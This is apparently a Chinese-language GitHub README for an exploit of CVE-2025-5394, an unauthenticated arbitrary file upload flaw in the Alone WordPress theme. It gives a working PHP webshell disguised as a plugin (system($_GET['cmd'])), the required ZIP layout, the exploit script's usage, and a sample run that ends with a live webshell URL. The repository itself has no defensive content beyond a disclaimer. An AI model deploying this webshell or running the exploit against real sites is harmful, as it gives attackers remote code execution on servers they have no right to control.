Alone – 慈善多功能非营利 WordPress 主题
版本: <= 7.8.3
CVE: CVE-2025-5394
CVSS 评分: 9.8(严重)
WordPress 的 Alone 主题存在任意文件上传漏洞,原因是在 alone_import_pack_install_plugin() 函数上缺少权限检查。
该缺陷允许未认证的攻击者从远程位置上传ZIP 文件(伪装成插件),从而可能实现远程代码执行。
本仓库包含一个 Python 脚本,可自动利用 CVE-2025-5394。
该脚本会触发易受攻击的 AJAX 操作,并将一个虚假插件(包含 WebShell)直接上传到 WordPress 服务器。
上传的 ZIP 文件必须遵循以下结构:
shell_plugin.zip
└── shell_plugin
└── shell_plugin.php
其中:
shell_plugin 是插件目录。shell_plugin.php 是一个有效的 PHP 插件文件,带有插件头。shell_plugin.php 中最简插件头示例:
<?php
/*
Plugin Name: Webshell
*/
system($_GET['cmd']);
?>
python3 CVE-2025-5394.py -help
usage: CVE-2025-5394.py [-h] -u URL -s SHELL
CVE-2025-5394 Exploit | by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-s, --shell SHELL ZIP file URL containing webshell (.zip)
python3 CVE-2025-5394.py -u http://target.com/wordpress/ -s http://target.com/shell_plugin.zip
[>] Target : http://target.com/wordpress
[>] Shell URL : http://target.com/shell.php
[>] Plugin Slug : shell_plugin
[>] Sending exploit...
[+] Exploit successful
[+] Webshell URL : http://target.com/wordpress/wp-content/plugins/shell_plugin/shell_plugin.php
本脚本仅用于教育和研究目的。
作者不承担因使用此代码而进行的任何滥用或非法活动的责任。
请仅在您拥有或获得明确测试许可的系统上使用它。
Nxploited ( Khaled Alenazi )
GitHub: https://github.com/Nxploited